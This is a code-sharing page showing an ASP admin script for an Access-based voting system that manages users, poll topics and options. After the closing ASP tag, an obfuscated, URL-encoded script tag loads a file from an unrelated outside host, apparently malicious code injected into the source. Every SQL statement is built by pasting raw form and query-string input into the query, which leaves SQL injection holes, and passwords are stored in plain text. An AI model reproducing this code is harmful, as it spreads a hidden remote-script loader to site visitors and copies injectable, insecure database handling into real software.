⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 admin-update.asp

📁 Access的投票系统
💻 ASP
字号:
<%@ Language=VBScript %>
<%

'如果没有登录,则首先到登录界面
if session("loginSuccessful") <> "yes" then Response.Redirect ("login.asp")
dim SQL, cn, rs

Set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & server.MapPath ("../fpdb/poll.mdb")

if Request.QueryString("sub") = "new_usr" then new_usr() '创建新用户
if Request.QueryString("sub") = "edit_usr" then edit_usr()  '编辑用户
if Request.QueryString("sub") = "del_usr" then del_usr()  '删除用户
if Request.QueryString("sub") = "new" then add_new() '编辑主题
if Request.QueryString("sub") = "act" then act()  '激活主题
if Request.QueryString("sub") = "inact" then inact()  '使主题非激活
if Request.QueryString("sub") = "edit" then edit()  '编辑主题
if Request.QueryString("sub") = "edit_add" then edit_add() '编辑选项
if Request.QueryString("sub") = "del_answ" then del_answ()  '删除选项
if Request.QueryString("sub") = "del" then del()  '删除主题
%>

<%
'添加新用户
sub new_usr()
dim a, usr_id

'获取最后一个用户编号
SQL = "SELECT * FROM users ORDER BY usr_id DESC"
set rs = cn.Execute(SQL)
usr_id = rs("usr_id") + 1

'获取新用户权限,1表示管理员,2表示普通用户
if Request.Form("status") = "yes" then
	a = 1
else
	a = 2
end if

'添加新用户
SQL = "INSERT INTO users ([usr_id],[username],[password],[status],[email]) " & _
	  "VALUES (" & usr_id & ",'" & Request.Form("user") & "','" & Request.Form("pass") & "'," & a & ",'" & Request.Form("email") & "')"
set rs = cn.Execute(SQL)

Response.Redirect("admin-users.asp")

end sub
%>

<%
'编辑用户信息
sub edit_usr()
dim a

if Request.Form("status") = "yes" then
	a = 1
else
	a = 2
end if

'提交到数据库
SQL ="UPDATE users SET " & _
	 "[username]='" & Request.Form("user") & _
	 "',[password]='" & Request.Form("pass") & _
	 "',[status]=" & a & ", [email]='" & Request.Form("email") & _
	 "' WHERE usr_id=" & Request.QueryString("id")
set rs = cn.Execute(SQL)

Response.Redirect("admin-users.asp")

end sub
%>

<%
'删除用户
sub del_usr()

SQL = "DELETE FROM users WHERE usr_id=" & Request.QueryString("id")
set rs = cn.Execute(SQL)

Response.Redirect("admin-users.asp")

end sub
%>

<%
'添加投票追
sub add_new()
dim a, b, poll_id, answ_id
dim email, str

'获取最后一个投票编号
SQL = "SELECT * FROM title ORDER BY id DESC"
set rs = cn.Execute(SQL)

if not rs.eof then
	poll_id = rs("id") + 1
else
	poll_id = 1
end if

'添加投票主题
SQL = "INSERT INTO title (id,title,expiration_start,expiration_end) VALUES " & _
	  "(" & poll_id & ",'" & Request.Form("title") & "','" & Request.Form("d_s") & "','" & Request.Form("d_e") & "')"
set rs = cn.Execute(SQL)

'获取最后一个选项编号
SQL = "SELECT * FROM vote ORDER BY answer_id DESC"
set rs = cn.Execute(SQL)

if not rs.eof then
	answ_id = rs("answer_id")
else
	answ_id = 1
end if

'将新投票主题的选项保存到数据库中
a = 1 '循环变量
b = 1 '增加选项编号
do

if not Request.Form("a" & a) = "" then
	SQL = "INSERT INTO vote (poll_id,answer_id,answer) VALUES " & _
		  "(" & poll_id & "," & answ_id + b & ",'" & Request.Form("a" & a) & "')"
	set rs = cn.Execute(SQL)
	b = b + 1
end if

a = a + 1
loop until a = 11


Response.Redirect("admin-poll.asp")

end sub
%>

<%
'激活主题
sub act()
dim poll_id

poll_id = Request.QueryString("id")

'首先设置所有主题为非激活状态
SQL = "UPDATE title SET active=False"
set rs = cn.execute(SQL)

'然后将要被激活的主题激活
SQL = "UPDATE title SET active=True WHERE id=" & poll_id
set rs = cn.execute(SQL)

Response.Redirect("admin-poll.asp")

end sub
%>

<%
'使主题非激活
sub inact()
dim poll_id

poll_id = Request.QueryString("id")

'直接修改active属性
SQL = "UPDATE title SET active=False WHERE id=" & poll_id
set rs = cn.execute(SQL)

Response.Redirect("admin-poll.asp")

end sub
%>

<%
'保存编辑后的投票
sub edit()
dim no, i, poll_id

i = 1

'获取选项数量
no = Request.Form ("no_answers")
'获取投票编号
poll_id = Request.QueryString ("id")

'更新投票主题
SQL = "UPDATE title SET title='" & Request.Form ("title") & "', expiration_start='" & Request.Form("d_s") & _
	  "', expiration_end='" & Request.Form("d_e") & "' WHERE id=" & poll_id
set rs = cn.Execute(SQL)

'更新投票选项 
do
SQL = "UPDATE vote SET answer='" & Request.Form ("a" & i) & "' WHERE answer_id=" & Request.Form ("h" & i)
set rs = cn.Execute(SQL)
i = i + 1
loop until i = no + 1

Response.Redirect("admin-poll.asp?sub=edit&id=" & poll_id)

end sub
%>

<%
'添加投票选项
sub edit_add()
dim poll_id, answ_id

poll_id = Request.QueryString("id")

'如果选项内容不为空...
if not Request.Form("add_one") = "" then

'获取最后一个选项编号
SQL = "SELECT * FROM vote ORDER BY answer_id DESC"
set rs = cn.execute(SQL)

'将编号增加1 
answ_id = rs("answer_id") + 1

'添加选项
SQL = "INSERT INTO vote (poll_id,answer_id,answer) VALUES (" & poll_id & "," & answ_id & ",'" & Request.Form("add_one") & "')"
set rs = cn.execute(SQL)

end if

Response.Redirect("admin-poll.asp?sub=edit&id=" & poll_id)

end sub
%>

<%
'删除投票选项
sub del_answ()
dim poll_id
'获取投票主题编号
poll_id = Request.QueryString ("id")

'删除被选中的选项
SQL = "DELETE FROM vote WHERE answer_id=" & Request.QueryString("answ_id")
set rs = cn.Execute(SQL)

Response.Redirect("admin-poll.asp?sub=edit&id=" & poll_id)

end sub
%>

<%
'删除投票主题
sub del()
dim poll_id
'获取投票主题
poll_id = Request.QueryString ("id")

'调用delete语句删除
SQL = "DELETE FROM title WHERE id=" & poll_id
set rs = cn.Execute(SQL)
SQL = "DELETE FROM vote WHERE poll_id=" & poll_id
set rs = cn.Execute(SQL)

Response.Redirect("admin-poll.asp")

end sub
%><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -